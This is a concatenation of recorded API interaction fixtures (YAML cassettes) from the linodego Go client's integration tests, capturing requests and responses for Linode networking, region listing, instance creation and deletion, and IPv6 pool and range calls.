X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"reserved":false}' url: https://api.linode.com/v4beta/networking/ips?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 1, "data": [{"address": "194.195.115.5", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-5.ip.linodeusercontent.com", "linode_id": 68361097, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361097 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPv6Pool_Get.yaml000066400000000000000000000007151474652371000305300ustar00rootroot00000000000000version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json url: https://api.linode.com/v4beta/networking/ipv6/pools/1234::5678%2F32 method: GET response: body: '{"range": "1234::5678/32", "region": "us-east", "route_target": "1234::5678/32"}' headers: Content-Type: - application/json status: 200 code: 200 duration: ""golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPv6Pool_List.yaml000066400000000000000000000007651474652371000307310ustar00rootroot00000000000000version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json url: https://api.linode.com/v4beta/networking/ipv6/pools?page=1 method: GET response: body: '{"data": [{"range": "1234::5678/32", "region": "us-east", "route_target": "1234::5678/32"}], "page": 1, "pages": 1, "results": 1}' headers: Content-Type: - application/json status: 200 code: 200 duration: ""golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPv6Range_Instance_List.yaml000066400000000000000000001100551474652371000326720ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"1hP\\^0?B;,W1fU\u0026@{0e=Ng6TYa3075TzQo{m01m57S;\u0026:Fs0qkjtt6L=Pz7RQ|H)","image":"linode/debian9","firewall_id":693073,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61875951, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["213.219.39.83"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "53e4a52a1fc1e459ffa48d6d56b511ff54985871", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "804" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:40:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":61875951,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, 